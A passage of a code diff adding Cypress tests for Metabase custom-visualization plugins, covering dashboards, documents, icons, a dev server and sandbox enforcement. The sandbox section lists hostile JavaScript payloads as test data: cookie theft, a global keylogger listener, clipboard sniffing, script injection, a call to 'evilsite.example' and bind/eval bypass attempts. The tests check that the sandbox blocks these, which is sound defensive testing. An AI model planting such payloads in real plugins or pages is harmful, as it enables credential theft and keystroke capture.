+ display: H.CUSTOM_VIZ_DISPLAY,
+ visualization_settings: { threshold: 0 },
+ };
+
+ function createCustomVizDashboard(dashboardDetails: DashboardDetails = {}) {
+ return H.createQuestionAndDashboard({
+ questionDetails: customVizQuestionDetails,
+ dashboardDetails: { name: "Custom Viz Dashboard", ...dashboardDetails },
+ });
+ }
+
+ it("renders a custom viz question on a dashboard", () => {
+ createCustomVizDashboard().then(({ body: dashcard }) => {
+ H.visitDashboard(dashcard.dashboard_id);
+ });
+
+ H.getDashboardCard()
+ .findByText("Custom viz rendered successfully")
+ .should("be.visible");
+ H.getDashboardCard()
+ .findByText(`Value: ${AGGREGATED_VALUE}`)
+ .should("be.visible");
+ });
+
+ it("falls back to the default viz on a public dashboard (metabase#GDGT-2234)", () => {
+ H.updateSetting("enable-public-sharing", true);
+
+ createCustomVizDashboard().then(({ body: dashcard }) => {
+ H.visitPublicDashboard(Number(checkNotNull(dashcard.dashboard_id)));
+ });
+
+ H.getDashboardCard().findByTestId("table-root").should("be.visible");
+ });
+
+ it("falls back to the default viz on an embedded dashboard", () => {
+ createCustomVizDashboard().then(({ body: dashcard }) => {
+ const dashboardId = Number(checkNotNull(dashcard.dashboard_id));
+
+ cy.request("PUT", `/api/dashboard/${dashboardId}`, {
+ enable_embedding: true,
+ });
+
+ H.visitEmbeddedPage({
+ resource: { dashboard: dashboardId },
+ params: {},
+ });
+ });
+
+ H.getDashboardCard().findByTestId("table-root").should("be.visible");
+ });
+
+ it("exports the dashboard as a PDF", () => {
+ cy.deleteDownloadsFolder();
+
+ createCustomVizDashboard({ name: "custom viz pdf dash" }).then(
+ ({ body: dashcard }) => {
+ H.visitDashboard(dashcard.dashboard_id);
+ },
+ );
+ H.getDashboardCard()
+ .findByText("Custom viz rendered successfully")
+ .should("be.visible");
+
+ H.openSharingMenu("Export as PDF");
+ cy.findByTestId("status-root-container")
+ .should("contain", "Downloading")
+ .and("contain", "Dashboard for custom viz pdf dash");
+ cy.verifyDownload("custom viz pdf dash.pdf", { contains: true });
+ });
+
+ it("shows a tooltip on hover over the custom viz in a dashcard", () => {
+ createCustomVizDashboard().then(({ body: dashcard }) => {
+ H.visitDashboard(dashcard.dashboard_id);
+ });
+
+ H.getDashboardCard().findByTestId("demo-viz-hover-target").realHover();
+
+ H.tooltip().should("contain.text", AGGREGATED_VALUE_FORMATTED);
+ });
+
+ it("drills through on click from a dashcard", () => {
+ createCustomVizDashboard().then(({ body: dashcard }) => {
+ H.visitDashboard(dashcard.dashboard_id);
+ });
+ H.getDashboardCard()
+ .findByText("Custom viz rendered successfully")
+ .should("be.visible");
+
+ drillThroughDemoVizClick();
+
+ H.queryBuilderHeader().findByText("Orders").should("be.visible");
+ // The demo plugin's query is `count(Orders)` with no breakout, so the
+ // underlying-records drill produces an unfiltered Orders query.
+ H.queryBuilderFiltersPanel().should("not.exist");
+ H.tableInteractive().findByText("37.65").should("be.visible");
+ });
+
+ describe("click behavior: custom destinations", () => {
+ it("navigates to another dashboard", () => {
+ H.createDashboard(
+ { name: "Custom Viz Target Dashboard" },
+ { wrapId: true, idAlias: "targetDashboardId" },
+ );
+
+ cy.get<DashboardId>("@targetDashboardId").then((targetDashboardId) => {
+ createCustomVizDashboard().then(({ body: dashcard }) => {
+ H.addOrUpdateDashboardCard({
+ dashboard_id: dashcard.dashboard_id,
+ card_id: checkNotNull(dashcard.card_id),
+ card: {
+ id: dashcard.id,
+ visualization_settings: {
+ click_behavior: {
+ parameterMapping: {},
+ targetId: targetDashboardId,
+ linkType: "dashboard",
+ type: "link",
+ },
+ },
+ },
+ });
+ H.visitDashboard(dashcard.dashboard_id);
+ });
+
+ H.getDashboardCard().findByTestId("demo-viz-click-target").click();
+
+ cy.location("pathname").should(
+ "match",
+ new RegExp(`^/dashboard/${targetDashboardId}(?:-|$)`),
+ );
+ });
+ });
+
+ it("navigates to a saved question", () => {
+ H.createQuestion(
+ {
+ name: "Custom Viz Target Question",
+ query: {
+ "source-table": SAMPLE_DB_TABLES.STATIC_ORDERS_ID,
+ limit: 5,
+ },
+ },
+ { wrapId: true, idAlias: "targetQuestionId" },
+ );
+
+ cy.get<CardId>("@targetQuestionId").then((targetQuestionId) => {
+ createCustomVizDashboard().then(({ body: dashcard }) => {
+ H.addOrUpdateDashboardCard({
+ dashboard_id: dashcard.dashboard_id,
+ card_id: checkNotNull(dashcard.card_id),
+ card: {
+ id: dashcard.id,
+ visualization_settings: {
+ click_behavior: {
+ parameterMapping: {},
+ targetId: targetQuestionId,
+ linkType: "question",
+ type: "link",
+ },
+ },
+ },
+ });
+ H.visitDashboard(dashcard.dashboard_id);
+ });
+
+ H.getDashboardCard().findByTestId("demo-viz-click-target").click();
+
+ cy.location("pathname").should(
+ "match",
+ new RegExp(`^/question/${targetQuestionId}(?:-|$)`),
+ );
+ });
+ });
+
+ it("opens a URL", () => {
+ createCustomVizDashboard().then(({ body: dashcard }) => {
+ H.addOrUpdateDashboardCard({
+ dashboard_id: dashcard.dashboard_id,
+ card_id: checkNotNull(dashcard.card_id),
+ card: {
+ id: dashcard.id,
+ visualization_settings: {
+ click_behavior: {
+ linkType: "url",
+ linkTemplate: "https://metabase.test/custom-viz",
+ type: "link",
+ },
+ },
+ },
+ });
+ H.visitDashboard(dashcard.dashboard_id);
+ });
+
+ H.onNextAnchorClick((anchor: HTMLAnchorElement) => {
+ expect(anchor).to.have.attr(
+ "href",
+ "https://metabase.test/custom-viz",
+ );
+ });
+ H.getDashboardCard().findByTestId("demo-viz-click-target").click();
+ });
+
+ it("updates a dashboard filter", () => {
+ const parameter: Parameter = {
+ id: "12345678",
+ name: "Count",
+ slug: "count",
+ type: "number/=",
+ };
+
+ H.createQuestionAndDashboard({
+ questionDetails: customVizQuestionDetails,
+ dashboardDetails: {
+ name: "Custom Viz Crossfilter Dashboard",
+ parameters: [parameter],
+ },
+ }).then(({ body: dashcard }) => {
+ H.addOrUpdateDashboardCard({
+ dashboard_id: dashcard.dashboard_id,
+ card_id: checkNotNull(dashcard.card_id),
+ card: {
+ id: dashcard.id,
+ visualization_settings: {
+ click_behavior: {
+ type: "crossfilter",
+ parameterMapping: {
+ [parameter.id]: {
+ id: parameter.id,
+ source: { id: "count", name: "Count", type: "column" },
+ target: { id: parameter.id, type: "parameter" },
+ },
+ },
+ },
+ },
+ },
+ });
+ H.visitDashboard(dashcard.dashboard_id);
+ });
+
+ H.getDashboardCard()
+ .findByText(/Value: \d+/)
+ .should("be.visible");
+ H.getDashboardCard().findByTestId("demo-viz-click-target").click();
+
+ // The crossfilter behavior sets the dashboard parameter to the value of
+ // the clicked column.
+ cy.location("search").should(
+ "include",
+ `${parameter.slug}=${AGGREGATED_VALUE}`,
+ );
+ });
+ });
+ });
+
+ describe("using a plugin — documents", () => {
+ const DOC_QUESTION_NAME = "Custom Viz Doc Question";
+
+ beforeEach(() => {
+ H.activateToken("bleeding-edge");
+ H.updateSetting("custom-viz-enabled", true);
+ H.addCustomVizPlugin(H.CUSTOM_VIZ_FIXTURE_TGZ);
+
+ H.createQuestion(
+ {
+ name: DOC_QUESTION_NAME,
+ query: {
+ "source-table": SAMPLE_DB_TABLES.STATIC_ORDERS_ID,
+ aggregation: [["count"]],
+ },
+ display: H.CUSTOM_VIZ_DISPLAY,
+ },
+ { wrapId: true, idAlias: "questionId" },
+ );
+
+ // Query the card once so it appears in the /chart command's recent list.
+ cy.get<CardId>("@questionId").then((cardId) => {
+ cy.request("POST", `/api/card/${cardId}/query`);
+ });
+ });
+
+ describe("regular documents", () => {
+ beforeEach(() => {
+ cy.get<CardId>("@questionId").then((cardId) => {
+ H.createDocument({
+ name: "Doc with Custom Viz",
+ document: buildDocumentWithCustomVizCard(cardId),
+ collection_id: null,
+ idAlias: "documentId",
+ });
+ });
+ });
+
+ it("renders the custom viz when the document is opened", () => {
+ H.interceptPluginBundle();
+ H.visitDocument("@documentId");
+ cy.wait("@pluginBundle");
+
+ H.getDocumentCard(DOC_QUESTION_NAME).within(() => {
+ cy.findByText("Custom viz rendered successfully").should(
+ "be.visible",
+ );
+ cy.findByText(/Value: \d+/).should("be.visible");
+ });
+ });
+
+ it("falls back to the default visualization when the plugin bundle fails to load", () => {
+ cy.intercept("GET", "/api/ee/custom-viz-plugin/*/bundle*", {
+ statusCode: 500,
+ body: "boom",
+ }).as("failedBundle");
+
+ H.visitDocument("@documentId");
+ cy.wait("@failedBundle");
+
+ H.getDocumentCard(DOC_QUESTION_NAME).within(() => {
+ cy.findByText("Custom viz rendered successfully").should("not.exist");
+ cy.findByTestId("table-root").should("be.visible");
+ });
+ });
+ });
+
+ describe("inserting via / command", () => {
+ beforeEach(() => {
+ H.createDocument({
+ name: "Empty Doc",
+ document: {
+ type: "doc",
+ content: [{ type: "paragraph", attrs: { _id: "1" } }],
+ },
+ collection_id: null,
+ idAlias: "documentId",
+ });
+ });
+
+ it("renders the custom viz when added via the /chart command", () => {
+ H.interceptPluginBundle();
+ H.visitDocument("@documentId");
+
+ H.documentContent().click();
+ H.addToDocument("/", false);
+ H.commandSuggestionItem("Chart").click();
+ H.commandSuggestionDialog().findByText(DOC_QUESTION_NAME).click();
+
+ cy.wait("@pluginBundle");
+
+ H.getDocumentCard(DOC_QUESTION_NAME)
+ .findByText("Custom viz rendered successfully")
+ .should("be.visible");
+ });
+ });
+
+ describe("public sharing", () => {
+ beforeEach(() => {
+ H.updateSetting("enable-public-sharing", true);
+
+ cy.get<CardId>("@questionId").then((cardId) => {
+ H.createDocument({
+ name: "Public Doc with Custom Viz",
+ document: buildDocumentWithCustomVizCard(cardId),
+ collection_id: null,
+ idAlias: "documentId",
+ });
+ });
+ });
+
+ it("falls back to the default viz on a public document", () => {
+ H.visitPublicDocument("@documentId");
+
+ H.getDocumentCard(DOC_QUESTION_NAME)
+ .findByTestId("table-root")
+ .should("be.visible");
+ });
+ });
+ });
+
+ describe("icon rendering across the app", () => {
+ const ICON_QUESTION_NAME = "Custom Viz Icon Test";
+ const UNPINNED_QUESTION_NAME = "Custom Viz Icon Test — List";
+ const DASHBOARD_NAME = "Custom Viz Icon Dashboard";
+ const DOC_NAME = "Custom Viz Icon Document";
+ // EntityIcon renders as a CSS-masked span whose `mask-image: url(...)`
+ // points at /api/ee/custom-viz-plugin/:id/asset?path=icon.svg. Matching on
+ // that URL fragment is the most stable signal that the plugin icon is
+ // actually rendered — some consumers pass `alt` (accessible name) while
+ // others render the icon as decorative/aria-hidden.
+ const PLUGIN_ICON_SELECTOR = 'span[style*="custom-viz-plugin"]';
+
+ beforeEach(() => {
+ H.activateToken("bleeding-edge");
+ H.updateSetting("custom-viz-enabled", true);
+ H.addCustomVizPlugin(H.CUSTOM_VIZ_FIXTURE_TGZ);
+
+ // Main question: pinned with preview hidden so the pinned card shows
+ // the plugin icon instead of the rendered viz. Also bookmarked, queried
+ // (for recents), and embedded in a document below.
+ H.createQuestion(
+ {
+ name: ICON_QUESTION_NAME,
+ query: {
+ "source-table": SAMPLE_DB_TABLES.STATIC_ORDERS_ID,
+ aggregation: [["count"]],
+ },
+ display: H.CUSTOM_VIZ_DISPLAY,
+ },
+ { wrapId: true, idAlias: "questionId" },
+ );
+
+ cy.get<CardId>("@questionId").then((cardId) => {
+ cy.request("PUT", `/api/card/${cardId}`, {
+ collection_position: 1,
+ collection_preview: false,
+ });
+ cy.request("POST", `/api/card/${cardId}/query`);
+ cy.request("POST", `/api/bookmark/card/${cardId}`);
+ });
+
+ // Secondary unpinned question — used to assert the icon on a regular
+ // (non-pinned) collection list row.
+ H.createQuestion({
+ name: UNPINNED_QUESTION_NAME,
+ query: {
+ "source-table": SAMPLE_DB_TABLES.STATIC_ORDERS_ID,
+ aggregation: [["count"]],
+ },
+ display: H.CUSTOM_VIZ_DISPLAY,
+ });
+
+ H.createDashboard(
+ { name: DASHBOARD_NAME },
+ { wrapId: true, idAlias: "dashboardId" },
+ );
+ cy.get<DashboardId>("@dashboardId").then((dashboardId) => {
+ cy.request("POST", `/api/bookmark/dashboard/${dashboardId}`);
+ });
+
+ cy.get<CardId>("@questionId").then((cardId) => {
+ H.createDocument({
+ name: DOC_NAME,
+ document: buildDocumentWithCustomVizCard(cardId),
+ collection_id: null,
+ idAlias: "documentId",
+ });
+ });
+ cy.get("@documentId").then((documentId) => {
+ cy.request("POST", `/api/bookmark/document/${documentId}`);
+ });
+ });
+
+ it("renders the custom-viz icon in the entity picker data-source modal", () => {
+ H.startNewQuestion();
+ H.miniPickerBrowseAll().click();
+
+ H.entityPickerModal().within(() => {
+ H.entityPickerModalItem(0, "Our analytics").click();
+ H.entityPickerModalItem(1, ICON_QUESTION_NAME)
+ .find(PLUGIN_ICON_SELECTOR)
+ .should("exist");
+ });
+ });
+
+ it("renders the custom-viz icon across app surfaces when navigating through the UI", () => {
+ // Some routes (/search, dashboard edit mode) collapse the nav sidebar.
+ // Call this before any nav-sidebar interaction so we open it only when
+ // it's actually hidden — `H.openNavigationSidebar` toggles, so calling
+ // it unconditionally would close an already-open sidebar.
+ const ensureNavigationSidebarOpen = () => {
+ cy.get("body").then(($body) => {
+ const visible = $body.find(
+ '[data-testid="main-navbar-root"]:visible',
+ ).length;
+ if (!visible) {
+ H.openNavigationSidebar();
+ }
+ });
+ };
+
+ H.interceptPluginBundle();
+
+ cy.visit("/collection/root");
+
+ cy.log("Navigation sidebar bookmark");
+ H.navigationSidebar()
+ .findByRole("link", { name: new RegExp(ICON_QUESTION_NAME) })
+ .find(PLUGIN_ICON_SELECTOR)
+ .should("exist");
+
+ cy.log("Unpinned collection list row");
+ cy.findByRole("row", { name: new RegExp(UNPINNED_QUESTION_NAME) })
+ .find(PLUGIN_ICON_SELECTOR)
+ .should("exist");
+
+ cy.log("Pinned section (collection_preview: false → icon, not viz)");
+ H.getPinnedSection().find(PLUGIN_ICON_SELECTOR).should("exist");
+
+ cy.log("Navigate → question editor by clicking the pinned card title");
+ H.getPinnedSection().findByText(ICON_QUESTION_NAME).click();
+ cy.wait("@pluginBundle");
+
+ cy.log("Chart type sidebar on the question editor");
+ H.openVizTypeSidebar();
+ H.vizTypeSidebar()
+ .findByRole("img", { name: "demo-viz" })
+ .should("be.visible");
+ H.openVizTypeSidebar();
+
+ cy.log("Command palette option row");
+ H.commandPaletteSearch(ICON_QUESTION_NAME, false);
+ H.commandPalette()
+ .findAllByRole("option", { name: new RegExp(ICON_QUESTION_NAME) })
+ .first()
+ .find(PLUGIN_ICON_SELECTOR)
+ .should("be.visible");
+
+ cy.log(
+ 'Search results page — reached by clicking "View and filter all …"',
+ );
+ H.commandPalette()
+ .findByText(/View and filter all .* results/)
+ .click();
+ cy.findAllByTestId("search-result-item")
+ .filter(`:contains(${ICON_QUESTION_NAME})`)
+ .first()
+ .find(PLUGIN_ICON_SELECTOR)
+ .should("exist");
+
+ cy.log('Navigate → home via the nav-sidebar "Home" link');
+ ensureNavigationSidebarOpen();
+ H.navigationSidebar().findByText("Home").click();
+
+ cy.log("Home recently-viewed section");
+ H.main()
+ .findByText("Pick up where you left off")
+ .parent()
+ .findByRole("link", { name: new RegExp(ICON_QUESTION_NAME) })
+ .find(PLUGIN_ICON_SELECTOR)
+ .should("exist");
+
+ cy.log("Navigate → dashboard via bookmark link in the nav sidebar");
+ ensureNavigationSidebarOpen();
+ H.navigationSidebar()
+ .findByRole("link", { name: new RegExp(DASHBOARD_NAME) })
+ .click();
+
+ cy.log("Dashboard add-questions sidesheet");
+ H.editDashboard();
+ H.openQuestionsSidebar();
+ cy.findByTestId("add-card-sidebar")
+ .findByRole("menuitem", { name: ICON_QUESTION_NAME })
+ .find(PLUGIN_ICON_SELECTOR)
+ .should("exist");
+
+ // Exit edit mode so the next click-to-navigate isn't blocked by an
+ // unsaved-changes prompt.
+ cy.findByRole("button", { name: /Cancel/i }).click();
+
+ cy.log("Navigate → document via bookmark link");
+ ensureNavigationSidebarOpen();
+ H.navigationSidebar()
+ .findByRole("link", { name: new RegExp(DOC_NAME) })
+ .click();
+
+ cy.log("Document mention dialog (@ suggestions)");
+ // By the time we reach this step the plugin list has already been
+ // fetched for the embedded card, so no need to wait on it again.
+ // Click into the intro paragraph — clicking blindly on document-content
+ // may land on the embedded card.
+ H.documentContent().findByText("Custom viz embedded below:").click();
+ cy.realPress("End");
+ cy.realType(" @");
+ H.documentMentionDialog().should("be.visible");
+ cy.realType("Custom");
+ // Both the pinned and the unpinned questions appear — assert the icon
+ // renders on every matching option.
+ H.documentMentionDialog()
+ .findAllByRole("option", { name: new RegExp(ICON_QUESTION_NAME) })
+ .should("have.length.at.least", 2)
+ .each(($option) => {
+ cy.wrap($option).find(PLUGIN_ICON_SELECTOR).should("exist");
+ });
+ cy.realPress("Escape");
+
+ cy.log('Document "Visualize as" panel on the embedded card');
+ H.openDocumentCardMenu(ICON_QUESTION_NAME);
+ H.popover().findByText("Edit Visualization").click();
+ H.getDocumentSidebar()
+ .findByRole("button", { name: /demo-viz/i })
+ .click();
+ cy.findByRole("menu")
+ .findByRole("menuitem", { name: /demo-viz/i })
+ .find(PLUGIN_ICON_SELECTOR)
+ .should("exist");
+ });
+ });
+
+ describe("development mode", () => {
+ const CUSTOM_VIZ_DEV_PROJECT_NAME = "custom-viz-dev-plugin";
+ const CUSTOM_VIZ_DEV_PORT = 5174;
+ const TIMEOUT = 120000;
+ const tmpDir = `${Cypress.config("projectRoot")}/e2e/tmp`;
+ const sdkDir = `${Cypress.config("projectRoot")}/enterprise/frontend/src/custom-viz`;
+ const cliPath = `${sdkDir}/dist/cli.js`;
+ const projectDir = `${tmpDir}/${CUSTOM_VIZ_DEV_PROJECT_NAME}`;
+ const devUrl = `http://localhost:${CUSTOM_VIZ_DEV_PORT}`;
+ const pluginSrcPath = `${projectDir}/src/index.tsx`;
+ const QUESTION_NAME = "Custom Viz Dev Mode Question Test";
+ let devServerPid: number | null = null;
+
+ beforeEach(() => {
+ H.restore("postgres-writable");
+ cy.signInAsAdmin();
+ H.activateToken("bleeding-edge");
+ H.updateSetting("custom-viz-enabled", true);
+ });
+
+ before(() => {
+ cy.exec(`mkdir -p ${tmpDir}`);
+ cy.log("Build the SDK so we can use the repo-local CLI");
+ cy.exec(`cd "${sdkDir}" && bun install && bun run build`, {
+ timeout: TIMEOUT,
+ });
+
+ // Scaffold the boilerplate plugin using the init CLI command.
+ cy.exec(`rm -rf "${projectDir}"`, { timeout: TIMEOUT });
+ cy.exec(
+ `cd "${tmpDir}" && node "${cliPath}" init "${CUSTOM_VIZ_DEV_PROJECT_NAME}"`,
+ {
+ timeout: TIMEOUT,
+ },
+ );
+
+ // The scaffolded template requires Metabase >= 60.0, but the e2e runner may
+ // run an older version. Rewrite the manifest to a permissive range so the
+ // dev-only plugin is included in /api/ee/custom-viz-plugin/list and becomes
+ // selectable in the visualization picker.
+ cy.readFile(`${projectDir}/metabase-plugin.json`).then((manifest) => {
+ cy.writeFile(
+ `${projectDir}/metabase-plugin.json`,
+ JSON.stringify(
+ {
+ ...manifest,
+ metabase: {
+ ...(manifest?.metabase ?? {}),
+ version: "", // empty strings means compatibility with any version
+ },
+ },
+ null,
+ 2,
+ ),
+ );
+ });
+
+ // Use current version of the SDK in the plugin.
+ cy.readFile(`${projectDir}/package.json`).then((pkg) => {
+ cy.writeFile(
+ `${projectDir}/package.json`,
+ JSON.stringify(
+ {
+ ...pkg,
+ devDependencies: {
+ ...(pkg?.devDependencies ?? {}),
+ "@metabase/custom-viz": `file:${sdkDir}`,
+ },
+ },
+ null,
+ 2,
+ ),
+ );
+ });
+
+ // Install dependencies in the tmp plugin folder.
+ cy.exec(`cd "${projectDir}" && npm i`, { timeout: TIMEOUT });
+ // Start the plugin dev server and keep it running
+ cy.task<{ pid: number }>("startCustomVizDevServer", {
+ cwd: projectDir,
+ }).then(({ pid }) => {
+ devServerPid = pid;
+ });
+ });
+
+ after(() => {
+ if (devServerPid == null) {
+ return;
+ }
+
+ cy.task("stopCustomVizDevServer", devServerPid);
+ });
+
+ it("should load a dev-only plugin from a local dev server URL and use it in a question", () => {
+ H.visitCustomVizDevelopment();
+
+ cy.log("Dev server URL is pre-filled with the default value");
+ cy.findByLabelText(/Dev server URL/).should("have.value", devUrl);
+ cy.findByRole("button", { name: /Enable/ })
+ .should("be.enabled")
+ .click();
+
+ cy.log("Verify the dev plugin is registered.");
+ H.main().findByText(CUSTOM_VIZ_DEV_PROJECT_NAME).should("be.visible");
+
+ // Use the dev plugin in a question (Count of Orders) — this yields a
+ // single numeric value so the scaffolded plugin renders.
+ H.createQuestion(
+ {
+ name: "Custom Viz Dev Mode Question Test",
+ query: {
+ "source-table": SAMPLE_DB_TABLES.STATIC_ORDERS_ID,
+ aggregation: [["count"]],
+ },
+ display: "table",
+ },
+ { visitQuestion: true },
+ );
+
+ cy.findByTestId("viz-type-button").click();
+ cy.findByTestId("custom-viz-plugins-toggle").click();
+ cy.log("Checking if dev badge is visible");
+ cy.findByLabelText(
+ "This is a development version of the visualization",
+ ).should("exist");
+ cy.findByTestId(`${CUSTOM_VIZ_DEV_PROJECT_NAME}-button`).click();
+
+ // Close the picker so the viz is visible.
+ cy.findByTestId("viz-type-button").click();
+
+ cy.log(
+ "Threshold defaults to 0 and Count(Orders) is > 0, so the thumbs-up image should render.",
+ );
+ H.main()
+ .findByAltText("Above threshold")
+ .should("be.visible")
+ .and("have.attr", "src")
+ .and("match", /thumbs-up\.png/);
+
+ cy.log("Modifying plugin source to change the alt text via getAssetUrl");
+ cy.readFile(pluginSrcPath).then((src) => {
+ const updated = src.replace('"Above threshold"', '"Way above!"');
+ if (updated === src) {
+ throw new Error(
+ `Expected to replace "Above threshold" in ${pluginSrcPath}`,
+ );
+ }
+ cy.writeFile(pluginSrcPath, updated);
+ });
+
+ cy.log("Checking if hot reload works");
+ H.main().findByAltText("Way above!").should("be.visible");
+
+ cy.log("Verify plugin settings affect rendering.");
+ cy.log(
+ "Set threshold higher than Count(Orders) so it flips to thumbs-down.",
+ );
+ cy.findByTestId("viz-settings-button").click();
+ cy.findByTestId("chartsettings-sidebar")
+ .findByPlaceholderText("Set threshold")
+ .clear()
+ .type("100000");
+ cy.findByRole("button", {
+ name: /Done/,
+ }).click();
+ H.main()
+ .findByAltText("Below threshold")
+ .should("have.attr", "src")
+ .and("match", /thumbs-down\.png/);
+
+ cy.log(
+ "Saving the question and reloading to verify persistence of settings and dev URL",
+ );
+ cy.log("handling modal");
+ H.saveQuestion(QUESTION_NAME, { shouldReplaceOriginalQuestion: true });
+ // Wait for the dialog to close
+ cy.findByRole("dialog", { name: /Save question/ }).should("not.exist");
+ cy.reload();
+ H.main()
+ .findByAltText("Below threshold")
+ .should("have.attr", "src")
+ .and("match", /thumbs-down\.png/);
+
+ cy.log(
+ "When the dev server is stopped, the visualization should revert to the default",
+ );
+ cy.task("stopCustomVizDevServer", devServerPid);
+ cy.reload();
+ H.main().findByText("18,760").should("be.visible");
+ });
+ });
+});
+
+describe("sandbox", () => {
+ beforeEach(() => {
+ H.restore("postgres-writable");
+ cy.signInAsAdmin();
+ H.activateToken("bleeding-edge");
+ H.updateSetting("custom-viz-enabled", true);
+ H.addCustomVizPlugin(H.CUSTOM_VIZ_FIXTURE_TGZ);
+ H.createQuestion(
+ {
+ name: "Custom Viz Sandbox Test",
+ query: {
+ "source-table": SAMPLE_DB_TABLES.STATIC_ORDERS_ID,
+ aggregation: [["count"]],
+ },
+ display: H.CUSTOM_VIZ_DISPLAY,
+ },
+ { wrapId: true, idAlias: "sandboxCardId" },
+ );
+ });
+
+ const blockedPattern = (suffix: RegExp) =>
+ new RegExp(String.raw`\[plugin \d+\] blocked ${suffix.source}`);
+
+ const SANDBOX_CASES: Array<{
+ name: string;
+ payload: string;
+ errorPattern: RegExp;
+ before?: () => void;
+ additionalAssertions?: () => void;
+ }> = [
+ {
+ name: "window.fetch",
+ payload: 'window.fetch("/api/canary-should-be-blocked-by-sandbox");',
+ errorPattern: blockedPattern(/API call: window\.fetch/),
+ before: () => {
+ cy.intercept("GET", "/api/canary-should-be-blocked-by-sandbox").as(
+ "canary",
+ );
+ },
+ additionalAssertions: () => {
+ cy.get("@canary.all").should("have.length", 0);
+ },
+ },
+ {
+ name: "document.open",
+ payload: 'document.open("https://evilsite.example");',
+ errorPattern: blockedPattern(/API call: Document\.open/),
+ },
+ {
+ name: "document.cookie getter",
+ payload: "var stolen = document.cookie;",
+ errorPattern: blockedPattern(/API call: Document\.get cookie/),
+ },
+ {
+ name: "window.cookieStore getter",
+ payload: "var x = window.cookieStore;",
+ errorPattern: blockedPattern(/API call: Window\.get cookieStore/),
+ },
+ {
+ name: "StorageEvent.newValue getter",
+ payload:
+ 'var e = new StorageEvent("storage", { newValue: "secret" }); var x = e.newValue;',
+ errorPattern: blockedPattern(/API call: StorageEvent\.get newValue/),
+ },
+ {
+ // document-level keydown listener is a global keylogger — captures
+ // every keystroke the user types anywhere on the host page.
+ name: 'document.addEventListener("keydown")',
+ payload: 'document.addEventListener("keydown", function(){}, true);',
+ errorPattern: blockedPattern(
+ /addEventListener for global event type: keydown/,
+ ),
+ },
+ {
+ // Same threat class — clipboard sniffer.
+ name: 'document.addEventListener("paste")',
+ payload: 'document.addEventListener("paste", function(){}, true);',
+ errorPattern: blockedPattern(
+ /addEventListener for global event type: paste/,
+ ),
+ },
+ {
+ // Refusing the listener also closes the metadata leak ("host wrote
+ // to localStorage") on top of the StorageEvent accessor blocks.
+ name: 'window.addEventListener("storage")',
+ payload: 'window.addEventListener("storage", function(){});',
+ errorPattern: blockedPattern(
+ /addEventListener for global event type: storage/,
+ ),
+ },
+ {
+ name: 'setAttribute("onclick", ...)',
+ payload: 'document.body.setAttribute("onclick", "alert(1)");',
+ errorPattern: blockedPattern(
+ /setAttribute for inline event handler: onclick/,
+ ),
+ },
+ {
+ name: "navigator.clipboard",
+ payload: "var c = navigator.clipboard;",
+ errorPattern: blockedPattern(/API call: Navigator\.get clipboard/),
+ },
+ {
+ // Hits createElementDistortion's BLOCKED_TAGS — different code path
+ // and different error format ("blocked createElement: <tag>") from
+ // the API-call cases above.
+ name: 'createElement("script")',
+ payload: 'document.createElement("script");',
+ errorPattern: blockedPattern(/createElement: script/),
+ },
+ {
+ name: 'createElement("a")',
+ payload: 'document.createElement("a");',
+ errorPattern: blockedPattern(/createElement: a/),
+ },
+ {
+ name: 'createElement("style")',
+ payload: 'document.createElement("style");',
+ errorPattern: blockedPattern(/createElement: style/),
+ },
+ {
+ name: 'createElement("area")',
+ payload: 'document.createElement("area");',
+ errorPattern: blockedPattern(/createElement: area/),
+ },
+ {
+ // Media elements load URLs via `src` / `srcset` — exfil GETs.
+ name: 'createElement("video")',
+ payload: 'document.createElement("video");',
+ errorPattern: blockedPattern(/createElement: video/),
+ },
+ {
+ // <input type="image"> fires a GET to src on render; the broader
+ // <input> block also covers phishing UI.
+ name: 'createElement("input")',
+ payload: 'document.createElement("input");',
+ errorPattern: blockedPattern(/createElement: input/),
+ },
+ {
+ name: 'createElementNS(SVG, "use")',
+ payload: 'document.createElementNS("http://www.w3.org/2000/svg", "use");',
+ errorPattern: blockedPattern(/createElementNS: use/),
+ },
+ // `eval` / `new Function(...)` Near membrane allows these in the sandbox, but
+ // it still catches anything they evaluate (e.g. `eval('window.fetch(...)')` triggers the fetch
+ // distortion), so it's not an escape — just not blocked at access.
+ {
+ name: "eval-evaluated fetch",
+ payload:
+ "eval('window.fetch(\"/api/canary-should-be-blocked-by-sandbox\")');",
+ errorPattern: blockedPattern(/API call: window\.fetch/),
+ before: () => {
+ cy.intercept("GET", "/api/canary-should-be-blocked-by-sandbox").as(
+ "canary",
+ );
+ },
+ additionalAssertions: () => {
+ cy.get("@canary.all").should("have.length", 0);
+ },
+ },
+ {
+ name: "XMLHttpRequest",
+ payload: "new XMLHttpRequest();",
+ errorPattern: blockedPattern(/API call: window\.XMLHttpRequest/),
+ },
+ {
+ name: "document.cookie setter",
+ payload: 'document.cookie = "${document.cookie}stolen=1;";',
+ errorPattern: blockedPattern(/API call: Document\.set cookie/),
+ },
+ {
+ name: "window.open",
+ payload: 'window.open("/api/canary-should-be-blocked-by-sandbox");',
+ errorPattern: blockedPattern(/API call: window\.open/),
+ before: () => {
+ cy.intercept("GET", "/api/canary-should-be-blocked-by-sandbox").as(
+ "canary",
+ );
+ },
+ additionalAssertions: () => {
+ cy.get("@canary.all").should("have.length", 0);
+ },
+ },
+ {
+ name: "document.write",
+ payload: 'document.write("<p>injected</p>");',
+ errorPattern: blockedPattern(/API call: Document\.write/),
+ },
+ {
+ name: 'setAttribute("onerror", ...)',
+ payload: 'document.body.setAttribute("onerror", "alert(1)");',
+ errorPattern: blockedPattern(
+ /setAttribute for inline event handler: onerror/,
+ ),
+ },
+ {
+ name: 'setAttribute("href", "javascript:...")',
+ payload: 'document.body.setAttribute("href", "javascript:alert(1)");',
+ errorPattern: blockedPattern(/setAttribute with javascript: URL: href/),
+ },
+ {
+ // Try to defeat the membrane by binding a non-allowlisted native.
+ // Safe because `window.fetch` access already
+ // returns a `blocked` function. Binding it produces a bound
+ // function that still throws when called.
+ name: "window.fetch.bind(window) bypass attempt",
+ payload:
+ 'window.fetch.bind(window)("/api/canary-should-be-blocked-by-sandbox");',
+ errorPattern: blockedPattern(/API call: window\.fetch/),
+ before: () => {
+ cy.intercept("GET", "/api/canary-should-be-blocked-by-sandbox").as(
+ "canary",
+ );
+ },
+ additionalAssertions: () => {
+ cy.get("@canary.all").should("have.length", 0);
+ },
+ },
+ {
+ // Try to bypass via Function.prototype.bind.call. Confirms the check
+ // isn't sensitive to which side initiates the bind.
+ name: "Function.prototype.bind.call(window.fetch, ...) bypass attempt",
+ payload:
